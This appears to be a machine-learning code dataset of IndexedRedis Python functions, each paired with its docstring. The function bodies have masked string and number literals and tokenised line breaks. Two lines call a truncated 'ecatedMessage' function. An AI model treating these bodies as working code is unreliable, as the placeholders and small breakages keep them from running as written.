{"signature": "def getObj(self):", "body": "if self.obj:<EOL><INDENT>needPks = [ (i, self.pk[i]) for i in range(len(self.obj)) if self.obj[i] is None]<EOL>if not needPks:<EOL><INDENT>return self.obj<EOL><DEDENT>fetched = list(self.foreignModel.objects.getMultiple([needPk[<NUM_LIT:1>] for needPk in needPks]))<EOL>i = <NUM_LIT:0><EOL>for objIdx, pk in needPks:<EOL><INDENT>self.obj[objIdx] = fetched[i]<EOL>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>return self.obj<EOL>", "docstring": "getObj - @see ForeignLinkData.getObj\n\n        Except this always returns a list", "id": "f4146:c2:m3"}
{"signature": "def getObjs(self):", "body": "return self.getObj()<EOL>", "docstring": "getObjs - @see ForeignLinkData.getObjs", "id": "f4146:c2:m4"}
{"signature": "def isFetched(self):", "body": "if not self.obj:<EOL><INDENT>return False<EOL><DEDENT>if not self.pk or None in self.obj:<EOL><INDENT>return False<EOL><DEDENT>return not bool(self.obj is None)<EOL>", "docstring": "isFetched - @see ForeignLinkData.isFetched", "id": "f4146:c2:m5"}
{"signature": "def objHasUnsavedChanges(self):", "body": "if not self.obj:<EOL><INDENT>return False<EOL><DEDENT>for thisObj in self.obj:<EOL><INDENT>if not thisObj:<EOL><INDENT>continue<EOL><DEDENT>if thisObj.hasUnsavedChanges(cascadeObjects=True):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "objHasUnsavedChanges - @see ForeignLinkData.objHasUnsavedChanges\n\nTrue if ANY object has unsaved changes.", "id": "f4146:c2:m6"}
{"signature": "def __init__(self, name='<STR_LIT>', foreignModel=None):", "body": "IRField.__init__(self, name, valueType=int, defaultValue=irNull)<EOL>if foreignModel:<EOL><INDENT>if not isinstance(foreignModel, type):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not hasattr(foreignModel, '<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>self._foreignModel = weakref.ref(foreignModel)<EOL>", "docstring": "__init__ - Create an IRForeignLinkField. Only takes a name\n\n@param name <str> - Field name\n\nThis field type does not support indexing.", "id": "f4146:c4:m0"}
{"signature": "@property<EOL><INDENT>def foreignModel(self):<DEDENT>", "body": "return self._foreignModel()<EOL>", "docstring": "foreignModel - Resolve and return the weakref to the associated Foreign Model", "id": "f4146:c4:m1"}
{"signature": "def isMulti(self):", "body": "return False<EOL>", "docstring": "isMulti - Returns True if this is a MultiLink object (expects lists), otherwise False (expects object)\n\n@return <bool>", "id": "f4146:c4:m8"}
{"signature": "def isMulti(self):", "body": "return True<EOL>", "docstring": "isMulti - Returns True if this is a MultiLink object (expects lists), otherwise False (expects object)\n\n@return <bool>", "id": "f4146:c5:m3"}
{"signature": "def __init__(self, name='<STR_LIT>', defaultValue=irNull):", "body": "self.valueType = None<EOL>self.defaultValue = defaultValue<EOL>", "docstring": "__init__ - Create an IRPickleField\n\n@param name <str> - Field name\n\n@param defaultValue - The default value of this field\n\nBecause even with the same format, python2 and python3 can output different pickle strings for the same object,\n  as well as different host configurations may lead to different output, this field type is not indexable.", "id": "f4147:c0:m0"}
{"signature": "def __init__(self, name='<STR_LIT>', decimalPlaces=<NUM_LIT:5>, defaultValue=irNull):", "body": "self.decimalPlaces = decimalPlaces<EOL>if isinstance(defaultValue, int):<EOL><INDENT>defaultValue = float(defaultValue)<EOL><DEDENT>elif isinstance(defaultValue, float):<EOL><INDENT>defaultValue = round(defaultValue, decimalPlaces)<EOL><DEDENT>self.defaultValue = defaultValue<EOL>", "docstring": "__init__ - Create this object.\n\n@param name <str> - Field name (or blank if used in an IRFieldChain)\n\n@param decimalPlaces <int> - The number of decimal places to use (precision). Values will be rounded to this many places, and always have\n  this many digits after the decimal point.\n\n@param defaultValue - The default value for this field\n\nAn IRFixedPointField is indexable, and has no option to hash the index.", "id": "f4148:c0:m0"}
{"signature": "def __init__(self, name='<STR_LIT>', valueType=str, defaultValue=irNull, hashIndex=False):", "body": "self.defaultValue = defaultValue<EOL>self.hashIndex = hashIndex<EOL>if valueType in (str, unicode):<EOL><INDENT>valueType = str<EOL>self._fromStorage = self._convertStr<EOL>self._fromInput = self._convertStr<EOL>self._toStorage = self._convertStr<EOL><DEDENT>elif bytes != str and valueType == bytes:<EOL><INDENT>valueType = bytes<EOL>self._fromStorage = self._convertBytes<EOL>self._fromInput = self._convertBytes<EOL>self._toStorage = self._convertBytes<EOL>self.CAN_INDEX = False<EOL><DEDENT>elif valueType in (None, type(None)):<EOL><INDENT>self._fromStorage = self._noConvert<EOL>self._fromInput = self._noConvert<EOL>self._toStorage = self._noConvert<EOL>self.CAN_INDEX = False<EOL><DEDENT>elif valueType in (dict, list, tuple):<EOL>ecatedMessage('<STR_LIT>' %(repr(name), valueType.__name__, repr(name)), printStack=True)<EOL><INDENT>valueType = IRJsonValue<EOL>self.CAN_INDEX = IRJsonValue.CAN_INDEX<EOL><DEDENT>elif valueType == datetime:<EOL>ecatedMessage('<STR_LIT>' %(repr(name), repr(name)), printStack=True)<EOL><INDENT>valueType = IRDatetimeValue<EOL>self.CAN_INDEX = IRDatetimeValue.CAN_INDEX<EOL><DEDENT>else:<EOL><INDENT>if not isinstance(valueType, type):<EOL><INDENT>raise TypeError('<STR_LIT>' %(repr(valueType,)))<EOL><DEDENT>if valueType == bool:<EOL><INDENT>self._fromStorage = self._convertBool<EOL>self._fromInput = self._convertBool<EOL><DEDENT>elif isinstance(valueType, (set, frozenset, )):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.valueType = valueType<EOL>if valueType in (str, unicode, int, bool):<EOL><INDENT>self.CAN_INDEX = True<EOL><DEDENT>elif hasattr(valueType, '<STR_LIT>'):<EOL><INDENT>self.CAN_INDEX = valueType.CAN_INDEX<EOL><DEDENT>", "docstring": "__init__ - Create an IRField. Use this directly in the FIELDS array for advanced functionality on a field.\n\n@param name <str> - The name of this field\n\n@param valueType <type> - The type that will be used for this field. Default str/unicode (and bytes on python2)\n        act the same as non-IRField FIELDS entries (just plain string), i.e. they are encoded to unicode to and from Redis.\n\n        If you pass in None, then no decoding will take place (so whatever you provide goes in, and bytes come out of Redis).\n        This is similar to IRFieldRaw\n\n        On python3, if you pass bytes, than the field will be left as bytes.\n        To be both python2 and python3 compatible, however, you can use IRBytesField\n\n        If bool is used, then \"1\" and \"true\" are True, \"0\" and \"false\" are False, any other value is an exception.\n\n        You can also pass an advanced type (see IndexedRedis.fields.FieldValueTypes) like datetime and json.\n\n        All types other than string/unicode/bytes/None will be assigned 'irNull' if they were not provided a value.\n        @see irNull - Equals only irNull (or other IRNullType instances). You can use this to check if an integer is defined versus 0, for example.\n\n        While this class is create for primitive types (like int's and datetimes), more complex types extend IRField (such as pickle, compressed, or unicode with a specific encoding).\n\n@param defaultValue <any> (default irNull) - The value assigned to this field as a \"default\", i.e. when no value has yet been set. Generally, it makes sense to keep this as irNull, but you may want a different default.\n\n@param hashIndex <bool> (default False) - If true, the md5 hash of the value will be used for indexing and filtering. This may be useful for very long fields.\n\nAn IRField may be indexable (depending on the type), and has the option to hash the index\n\nNOTE: If you are extending IRField, you should probably not call this __init__ function. So long as you implement your own \"convert\", any fields used are set on a class-level.", "id": "f4149:c0:m0"}
{"signature": "def toStorage(self, value):", "body": "if value == irNull or None:<EOL><INDENT>return IR_NULL_STR<EOL><DEDENT>return self._toStorage(value)<EOL>", "docstring": "toStorage - Convert the value to a string representation for storage.\n\n  The default implementation will work here for basic types.\n\n@param value - The value of the item to convert\n@return A string value suitable for storing.", "id": "f4149:c0:m1"}
{"signature": "def _toStorage(self, value):", "body": "return to_unicode(value)<EOL>", "docstring": "_toStorage - Convert the value to a string for storage.\n\nThe default implementation works for most valueTypes within IRField, override this for extending types.\n\nYou don't need to handle null\n\n@param value - Value of item to convert\n\n@return - A string value suitable for storing", "id": "f4149:c0:m2"}
{"signature": "def fromStorage(self, value):", "body": "if value in IR_NULL_STRINGS:<EOL><INDENT>return irNull<EOL><DEDENT>return self._fromStorage(value)<EOL>", "docstring": "fromStorage - Convert the value from storage to the value type.\n\n@param value - Value to convert\n\n@return - The converted value", "id": "f4149:c0:m3"}
{"signature": "def _fromStorage(self, value):", "body": "return self.valueType(value)<EOL>", "docstring": "_fromStorage - Convert the value from storage to the value type.\n\n  This default impl works fine for most value types, should be implemented by extending types.\n\n  @param value - Value to convert\n\n  @return - Converted value", "id": "f4149:c0:m4"}
{"signature": "def fromInput(self, value):", "body": "if value == irNull:<EOL><INDENT>return irNull<EOL><DEDENT>return self._fromInput(value)<EOL>", "docstring": "fromInput - Convert the value from input (like assigning this through constructor or as an item assignment on the object\n\n@param value - Value to convert\n\n@return - Converted value", "id": "f4149:c0:m6"}
{"signature": "def _fromInput(self, value):", "body": "return self.valueType(value)<EOL>", "docstring": "_fromInput - Convert the value from input. Implement this in extending types.\n\n@param value - Value to convert\n\n@return converted value", "id": "f4149:c0:m7"}
{"signature": "def toIndex(self, value):", "body": "if self._isIrNull(value):<EOL><INDENT>ret = IR_NULL_STR<EOL><DEDENT>else:<EOL><INDENT>ret = self._toIndex(value)<EOL><DEDENT>if self.isIndexHashed is False:<EOL><INDENT>return ret<EOL><DEDENT>return md5(tobytes(ret)).hexdigest()<EOL>", "docstring": "toIndex - An optional method which will return the value prepped for index.\n\nBy default, \"toStorage\" will be called. If you provide \"hashIndex=True\" on the constructor,\nthe field will be md5summed for indexing purposes. This is useful for large strings, etc.", "id": "f4149:c0:m8"}
{"signature": "def getDefaultValue(self):", "body": "return self.defaultValue<EOL>", "docstring": "getDefaultValue - Gets the default value associated with this field.\n\n  This is the value used when no value has been explicitly set.\n\n  @return - The default value", "id": "f4149:c0:m9"}
{"signature": "@property<EOL><INDENT>def isIndexHashed(self):<DEDENT>", "body": "return bool(self.hashIndex)<EOL>", "docstring": "isIndexHashed - Returns if the index value should be hashed\n\n@return <bool> - True if this field should be hashed before indexing / filtering", "id": "f4149:c0:m10"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return str(self)<EOL>", "docstring": "name - Property, return this field's name\n\n@return <str> - Field name", "id": "f4149:c0:m11"}
{"signature": "@staticmethod<EOL><INDENT>def _isNullValue(value):<DEDENT>", "body": "return bool(value in (b'<STR_LIT>', '<STR_LIT>', irNull, None) or value in IR_NULL_STRINGS )<EOL>", "docstring": "_isNullValue - Tests value if it should be represented by irNull.\n\nconvert and toStorage should test if value is null and return null (for most types)", "id": "f4149:c0:m16"}
{"signature": "def _getReprProperties(self):", "body": "ret = []<EOL>if getattr(self, '<STR_LIT>', None) is not None:<EOL><INDENT>ret.append('<STR_LIT>' %(self.valueType.__name__, ))<EOL><DEDENT>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>ret.append('<STR_LIT>' %(self.hashIndex, ))<EOL><DEDENT>return ret<EOL>", "docstring": "_getReprProperties - Get the properties of this field to display in repr().\n\n        These should be in the form of $propertyName=$propertyRepr\n\n        The default IRField implementation handles just the \"hashIndex\" property.\n\n        defaultValue is part of \"__repr__\" impl. You should just extend this method\n        with your object's properties instead of rewriting repr.", "id": "f4149:c0:m18"}
{"signature": "def __repr__(self):", "body": "ret = [ self.__class__.__name__, '<STR_LIT>', '<STR_LIT>' %(str(self), ) ]<EOL>reprProperties = self._getReprProperties()<EOL>defaultValue = self.getDefaultValue()<EOL>if defaultValue == irNull:<EOL><INDENT>reprProperties.append('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>reprProperties.append('<STR_LIT>' %(repr(defaultValue), ))<EOL><DEDENT>ret.append('<STR_LIT:U+002CU+0020>')<EOL>ret.append('<STR_LIT:U+002CU+0020>'.join(reprProperties))<EOL>ret.append('<STR_LIT>')<EOL>return '<STR_LIT>'.join(ret)<EOL>", "docstring": "__repr__ - Return an object-representation string of this field instance.\n\nYou should NOT need to extend this on your IRField, instead just implement _getReprProperties\n\n  to return your type's specific properties associated with this instance.\n\n  @see _getReprProperties", "id": "f4149:c0:m19"}
{"signature": "def copy(self):", "body": "return self.__class__(name=self.name, valueType=self.valueType, defaultValue=self.defaultValue, hashIndex=self.hashIndex)<EOL>", "docstring": "copy - Create a copy of this IRField.\n\n  Each subclass should implement this, as you'll need to pass in the args to constructor.\n\n@return <IRField (or subclass)> - Another IRField that has all the same values as this one.", "id": "f4149:c0:m20"}
{"signature": "def __init__(self, name='<STR_LIT>'):", "body": "IRField.__init__(self, name=name, valueType=str, defaultValue='<STR_LIT>')<EOL>", "docstring": "__init__ - Create an IRClassicField.\n  This field behaves as a plain string entry in FIELDS did prior to 5.0.0.\n\n  The default value is empty string, and it stores strings using defaultIREncoding.\n\n  Consider changing to an IRField or one of the other many types.\n\n  @param name <str> - Field name", "id": "f4151:c0:m0"}
{"signature": "def __init__(self, name='<STR_LIT>', encoding=None, defaultValue=irNull):", "body": "self.valueType = None<EOL>self.encoding = encoding<EOL>self.defaultValue = defaultValue<EOL>", "docstring": "__init__ - Create an IRUnicodeField\n\n@param name <str> - The field name\n\n@param encoding <None/str> - A specific encoding to use. If None, defaultIREncoding will be used.\n\n@param defaultValue - The default value for this field\n\nThis field type is indeaxble, and the index is forced to be hashed.", "id": "f4152:c0:m0"}
{"signature": "def getEncoding(self):", "body": "if not self.encoding:<EOL><INDENT>return getDefaultIREncoding()<EOL><DEDENT>return self.encoding<EOL>", "docstring": "getEncoding - Get the encoding codec associated with this field.\n\n        If you provided None, this will return the defaultIREncoding\n\n@return <str> - Encoding", "id": "f4152:c0:m1"}
{"signature": "def toBytes(self, value):", "body": "if type(value) == bytes:<EOL><INDENT>return value<EOL><DEDENT>return value.encode(self.getEncoding())<EOL>", "docstring": "toBytes - Convert a value to bytes using the encoding specified on this field\n\n@param value <str> - The field to convert to bytes\n\n@return <bytes> - The object encoded using the codec specified on this field.\n\nNOTE: This method may go away.", "id": "f4152:c0:m5"}
{"signature": "def __init__(self, name, chainedFields, defaultValue=irNull, hashIndex=False):", "body": "if not name:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.chainedFields = []<EOL>if not chainedFields:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>for field in chainedFields:<EOL><INDENT>if type(field) == type:<EOL><INDENT>field = field()<EOL><DEDENT>if str(field) != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not issubclass(field.__class__, IRField):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %(str(type(field)), repr(field)))<EOL><DEDENT>self.chainedFields.append(field)<EOL><DEDENT>self.defaultValue = defaultValue<EOL>(canIndex, forceHashIndex) = self._checkCanIndex()<EOL>self.CAN_INDEX = canIndex<EOL>if hashIndex is False:<EOL><INDENT>hashIndex = forceHashIndex<EOL><DEDENT>self.hashIndex = hashIndex<EOL>", "docstring": "__init__ - Create an IRFieldChain object.\n\n  These chain together the operations from multiple fields.\n\n  toStorage is applied left-to-right,\n  fromInput and fromStorage is applied right-to-left.\n\n  The output of one field is the input of the next.\n\n   An IRFieldChain is indexable so long as ALL of its contained fields are indexable.\n   An IRFieldChain is forced to be a hashed index if the rightmost field forces it (as some types do),\n     otherwise hashIndex will determine if it is hashed.\n\n@see IRField.__init__", "id": "f4153:c0:m0"}
{"signature": "def _toStorage(self, value):", "body": "for chainedField in self.chainedFields:<EOL><INDENT>value = chainedField.toStorage(value)<EOL><DEDENT>return value<EOL>", "docstring": "_toStorage - Convert the value to a string representation for storage.\n\n@param value - The value of the item to convert\n@return A string value suitable for storing.", "id": "f4153:c0:m1"}
{"signature": "def _fromStorage(self, value):", "body": "for chainedField in reversed(self.chainedFields):<EOL><INDENT>value = chainedField._fromStorage(value)<EOL><DEDENT>return value<EOL>", "docstring": "_fromStorage - Convert the value from storage (string) to the value type.\n\n@return - The converted value, or \"irNull\" if no value was defined (and field type is not default/string)", "id": "f4153:c0:m2"}
{"signature": "def _checkCanIndex(self):", "body": "<EOL>if not self.chainedFields:<EOL><INDENT>return (False, False)<EOL><DEDENT>for chainedField in self.chainedFields:<EOL><INDENT>if chainedField.CAN_INDEX is False:<EOL><INDENT>return (False, False)<EOL><DEDENT><DEDENT>return (True, self.chainedFields[-<NUM_LIT:1>].hashIndex)<EOL>", "docstring": "_checkCanIndex - Check if we CAN index (if all fields are indexable).\n        Also checks the right-most field for \"hashIndex\" - if it needs to hash we will hash.", "id": "f4153:c0:m6"}
{"signature": "def __init__(self, name='<STR_LIT>', defaultValue=irNull, encoding=None):", "body": "self.valueType = None<EOL>self.defaultValue = defaultValue<EOL>self.encoding = encoding<EOL>", "docstring": "__init__ - Create an IRBytesField object\n\n@param name <str> - Field name\n\n@param defaultValue <any> default irNull - Default value for this field\n\n@param encoding <None/str> - If None, defaultIREncoding will be used when converting to bytes,\n  otherwise you can provide an explicit encoding\n\nAn IRBytesField is indexable, and the index is forced to be hashed.", "id": "f4154:c0:m0"}
{"signature": "def __init__(self, val=None, mdl=None):", "body": "if val is None:<EOL><INDENT>QueryableListObjs.__init__(self)<EOL><DEDENT>else:<EOL><INDENT>QueryableListObjs.__init__(self, val)<EOL><DEDENT>self.mdl = mdl<EOL>if not mdl:<EOL><INDENT>self.mdl = self.getModel()<EOL><DEDENT>else:<EOL><INDENT>self.__validate_model(mdl)<EOL><DEDENT>", "docstring": "__init__ - Create this object\n\n@param val - None for empty list, IndexedRedisModel for a one-item list, or a list/tuple or subclass of initial values.\n@param mdl - The IndexedRedisModel that this list will contain. Provide this now if you can, otherwise it will be inferred from\n  the first item added or present in the list.\n\n@raises ValueError if \"mdl\" is not an IndexedRedisModel", "id": "f4155:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def __validate_model(mdl):<DEDENT>", "body": "if not hasattr(mdl, '<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>' %(str(mdl.__class__.__name__),))<EOL><DEDENT>", "docstring": "__validate_model - Internal function to check that model is of correct type.\n\nUses a class variable that has been defined for IndexedRedisModel s for a long time, not the type itself, to prevent circular imports etc.\n\n@param mdl - type to validate", "id": "f4155:c0:m1"}
{"signature": "def getModel(self):", "body": "if not self.mdl and len(self) > <NUM_LIT:0>:<EOL><INDENT>mdl = self[<NUM_LIT:0>].__class__<EOL>self.__validate_model(mdl)<EOL>self.mdl = mdl<EOL><DEDENT>return self.mdl<EOL>", "docstring": "getModel - get the IndexedRedisModel associated with this list. If one was not provided in constructor,\n  it will be inferred from the first item in the list (if present)\n\n  @return <None/IndexedRedisModel> - None if none could be found, otherwise the IndexedRedisModel type of the items in this list.\n\n@raises ValueError if first item is not the expected type.", "id": "f4155:c0:m2"}
{"signature": "def delete(self):", "body": "if len(self) == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>mdl = self.getModel()<EOL>return mdl.deleter.deleteMultiple(self)<EOL>", "docstring": "delete - Delete all objects in this list.\n\n@return <int> - Number of objects deleted", "id": "f4155:c0:m3"}
{"signature": "def save(self):", "body": "if len(self) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>mdl = self.getModel()<EOL>return mdl.saver.save(self)<EOL>", "docstring": "save - Save all objects in this list", "id": "f4155:c0:m4"}
{"signature": "def reload(self):", "body": "if len(self) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>ret = []<EOL>for obj in self:<EOL><INDENT>res = None<EOL>try:<EOL><INDENT>res = obj.reload()<EOL><DEDENT>except Exception as e:<EOL><INDENT>res = e<EOL><DEDENT>ret.append(res)<EOL><DEDENT>return ret<EOL>", "docstring": "reload - Reload all objects in this list. \n        Updates in-place. To just fetch all these objects again, use \"refetch\"\n\n@return - List (same order as current objects) of either exception (KeyError) if operation failed,\n  or a dict of fields changed -> (old, new)", "id": "f4155:c0:m5"}
{"signature": "def refetch(self):", "body": "if len(self) == <NUM_LIT:0>:<EOL><INDENT>return IRQueryableList()<EOL><DEDENT>mdl = self.getModel()<EOL>pks = [item._id for item in self if item._id]<EOL>return mdl.objects.getMultiple(pks)<EOL>", "docstring": "refetch - Fetch a fresh copy of all items in this list.\n        Returns a new list. To update in-place, use \"reload\".\n\n@return IRQueryableList<IndexedRedisModel> - List of fetched items", "id": "f4155:c0:m6"}
{"signature": "def setDefaultRedisConnectionParams( connectionParams ):", "body": "global _defaultRedisConnectionParams<EOL>_defaultRedisConnectionParams.clear()<EOL>for key, value in connectionParams.items():<EOL><INDENT>_defaultRedisConnectionParams[key] = value<EOL><DEDENT>clearRedisPools()<EOL>", "docstring": "setDefaultRedisConnectionParams - Sets the default parameters used when connecting to Redis.\n\n  This should be the args to redis.Redis in dict (kwargs) form.\n\n  @param connectionParams <dict> - A dict of connection parameters.\n    Common keys are:\n\n       host <str> - hostname/ip of Redis server (default '127.0.0.1')\n       port <int> - Port number\t\t\t(default 6379)\n       db  <int>  - Redis DB number\t\t(default 0)\n\n   Omitting any of those keys will ensure the default value listed is used.\n\n  This connection info will be used by default for all connections to Redis, unless explicitly set otherwise.\n  The common way to override is to define REDIS_CONNECTION_PARAMS on a model, or use AltConnectedModel = MyModel.connectAlt( PARAMS )\n\n  Any omitted fields in these connection overrides will inherit the value from the global default.\n\n  For example, if your global default connection params define host = 'example.com', port=15000, and db=0, \n    and then one of your models has\n\n       REDIS_CONNECTION_PARAMS = { 'db' : 1 }\n\n    as an attribute, then that model's connection will inherit host='example.com\" and port=15000 but override db and use db=1\n\n\n    NOTE: Calling this function will clear the connection_pool attribute of all stored managed connections, disconnect all managed connections,\n      and close-out the connection pool.\n     It may not be safe to call this function while other threads are potentially hitting Redis (not that it would make sense anyway...)\n\n     @see clearRedisPools   for more info", "id": "f4156:m0"}
{"signature": "def getDefaultRedisConnectionParams():", "body": "global _defaultRedisConnectionParams<EOL>return copy.copy(_defaultRedisConnectionParams)<EOL>", "docstring": "getDefaultRedisConnectionParams - Gets A COPY OF the default Redis connection params.\n\n@see setDefaultRedisConnectionParams for more info\n\n@return <dict> - copy of default Redis connection parameters", "id": "f4156:m1"}
{"signature": "def clearRedisPools():", "body": "global RedisPools<EOL>global _redisManagedConnectionParams<EOL>for pool in RedisPools.values():<EOL><INDENT>try:<EOL><INDENT>pool.disconnect()<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>for paramsList in _redisManagedConnectionParams.values():<EOL><INDENT>for params in paramsList:<EOL><INDENT>if '<STR_LIT>' in params:<EOL><INDENT>del params['<STR_LIT>']<EOL><DEDENT><DEDENT><DEDENT>RedisPools.clear()<EOL>_redisManagedConnectionParams.clear()<EOL>", "docstring": "clearRedisPools - Disconnect all managed connection pools, \n   and clear the connectiobn_pool attribute on all stored managed connection pools.\n\n   A \"managed\" connection pool is one where REDIS_CONNECTION_PARAMS does not define the \"connection_pool\" attribute.\n   If you define your own pools, IndexedRedis will use them and leave them alone.\n\n  This method will be called automatically after calling setDefaultRedisConnectionParams.\n\n  Otherwise, you shouldn't have to call it.. Maybe as some sort of disaster-recovery call..", "id": "f4156:m2"}
{"signature": "def getRedisPool(params):", "body": "global RedisPools<EOL>global _defaultRedisConnectionParams<EOL>global _redisManagedConnectionParams<EOL>if not params:<EOL><INDENT>params = _defaultRedisConnectionParams<EOL>isDefaultParams = True<EOL><DEDENT>else:<EOL><INDENT>isDefaultParams = bool(params is _defaultRedisConnectionParams)<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>return params['<STR_LIT>']<EOL><DEDENT>hashValue = hashDictOneLevel(params)<EOL>if hashValue in RedisPools:<EOL><INDENT>params['<STR_LIT>'] = RedisPools[hashValue]<EOL>return RedisPools[hashValue]<EOL><DEDENT>if not isDefaultParams:<EOL><INDENT>origParams = params<EOL>params = copy.copy(params)<EOL><DEDENT>else:<EOL><INDENT>origParams = params<EOL><DEDENT>checkAgain = False<EOL>if '<STR_LIT:host>' not in params:<EOL><INDENT>if not isDefaultParams and '<STR_LIT:host>' in _defaultRedisConnectionParams:<EOL><INDENT>params['<STR_LIT:host>'] = _defaultRedisConnectionParams['<STR_LIT:host>']<EOL><DEDENT>else:<EOL><INDENT>params['<STR_LIT:host>'] = '<STR_LIT:127.0.0.1>'<EOL><DEDENT>checkAgain = True<EOL><DEDENT>if '<STR_LIT:port>' not in params:<EOL><INDENT>if not isDefaultParams and '<STR_LIT:port>' in _defaultRedisConnectionParams:<EOL><INDENT>params['<STR_LIT:port>'] = _defaultRedisConnectionParams['<STR_LIT:port>']<EOL><DEDENT>else:<EOL><INDENT>params['<STR_LIT:port>'] = <NUM_LIT><EOL><DEDENT>checkAgain = True<EOL><DEDENT>if '<STR_LIT>' not in params:<EOL><INDENT>if not isDefaultParams and '<STR_LIT>' in _defaultRedisConnectionParams:<EOL><INDENT>params['<STR_LIT>'] = _defaultRedisConnectionParams['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>params['<STR_LIT>'] = <NUM_LIT:0><EOL><DEDENT>checkAgain = True<EOL><DEDENT>if not isDefaultParams:<EOL><INDENT>otherGlobalKeys = set(_defaultRedisConnectionParams.keys()) - set(params.keys())<EOL>for otherKey in otherGlobalKeys:<EOL><INDENT>if otherKey == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>params[otherKey] = _defaultRedisConnectionParams[otherKey]<EOL>checkAgain = True<EOL><DEDENT><DEDENT>if checkAgain:<EOL><INDENT>hashValue = hashDictOneLevel(params)<EOL>if hashValue in RedisPools:<EOL><INDENT>params['<STR_LIT>'] = RedisPools[hashValue]<EOL>return RedisPools[hashValue]<EOL><DEDENT><DEDENT>connectionPool = redis.ConnectionPool(**params)<EOL>origParams['<STR_LIT>'] = params['<STR_LIT>'] = connectionPool<EOL>RedisPools[hashValue] = connectionPool<EOL>origParamsHash = hashDictOneLevel(origParams)<EOL>if origParamsHash not in _redisManagedConnectionParams:<EOL><INDENT>_redisManagedConnectionParams[origParamsHash] = [origParams]<EOL><DEDENT>elif origParams not in _redisManagedConnectionParams[origParamsHash]:<EOL><INDENT>_redisManagedConnectionParams[origParamsHash].append(origParams)<EOL><DEDENT>return connectionPool<EOL>", "docstring": "getRedisPool - Returns and possibly also creates a Redis connection pool\n        based on the REDIS_CONNECTION_PARAMS passed in.\n\n        The goal of this method is to keep a small connection pool rolling\n        to each unique Redis instance, otherwise during network issues etc\n        python-redis will leak connections and in short-order can exhaust\n        all the ports on a system. There's probably also some minor\n        performance gain in sharing Pools.\n\n        Will modify \"params\", if \"host\" and/or \"port\" are missing, will fill\n        them in with defaults, and prior to return will set \"connection_pool\"\n        on params, which will allow immediate return on the next call,\n        and allow access to the pool directly from the model object.\n\n        @param params <dict> - REDIS_CONNECTION_PARAMS - kwargs to redis.Redis\n\n        @return redis.ConnectionPool corrosponding to this unique server.", "id": "f4156:m3"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "self.validateModel()<EOL>osetattr = object.__setattr__<EOL>ogetattr = object.__getattribute__<EOL>osetattr(self, '<STR_LIT>', {})<EOL>if kwargs.get('<STR_LIT>', False) is True:<EOL><INDENT>convertFunctionName = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>convertFunctionName = '<STR_LIT>'<EOL><DEDENT>fields = ogetattr(self, '<STR_LIT>')<EOL>for thisField in fields:<EOL><INDENT>if thisField not in kwargs:<EOL><INDENT>val = thisField.getDefaultValue()<EOL><DEDENT>else:<EOL><INDENT>val = kwargs[thisField]<EOL>val = getattr(thisField, convertFunctionName) ( val )<EOL><DEDENT>osetattr(self, thisField, val)<EOL>try:<EOL><INDENT>self._origData[thisField] = copy.deepcopy(val)<EOL><DEDENT>except:<EOL><INDENT>try:<EOL><INDENT>self._origData[thisField] = copy.copy(val)<EOL><DEDENT>except:<EOL><INDENT>try:<EOL><INDENT>deprecatedMessage(\"<STR_LIT>\" %(self.__class__.__name__, thisField.name, val.__class__.__name__, repr(val)))<EOL><DEDENT>except Exception as reprErr:<EOL><INDENT>deprecatedMessage(\"<STR_LIT>\" %(self.__class__.__name__, thisField.name, val.__class__.__name__, reprErr.__class__.__name__, str(reprErr)) )<EOL><DEDENT>self._origData[thisField] = val<EOL><DEDENT><DEDENT><DEDENT>_id = kwargs.get('<STR_LIT>', None)<EOL>if _id:<EOL><INDENT>_id = int(_id)<EOL><DEDENT>object.__setattr__(self, '<STR_LIT>', _id)<EOL>", "docstring": "__init__ - Set the values on this object. MAKE SURE YOU CALL THE SUPER HERE, or else things will not work.", "id": "f4156:c1:m0"}
{"signature": "def __setattr__(self, keyName, value):", "body": "oga = object.__getattribute__<EOL>if keyName not in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>fields = oga(self, '<STR_LIT>')<EOL>try:<EOL><INDENT>idx = fields.index(keyName)<EOL><DEDENT>except:<EOL><INDENT>idx = -<NUM_LIT:1><EOL><DEDENT>if idx != -<NUM_LIT:1>:<EOL><INDENT>value = fields[idx].fromInput(value)<EOL><DEDENT><DEDENT>object.__setattr__(self, keyName, value)<EOL>", "docstring": "__setattr__ - Will be used to set an attribute on this object.\n\n  If the attribute is a field (in self.FIELDS), it will be converted via the field type's #fromInput method.\n\n  Otherwise, it will just set the attribute on this object.", "id": "f4156:c1:m1"}
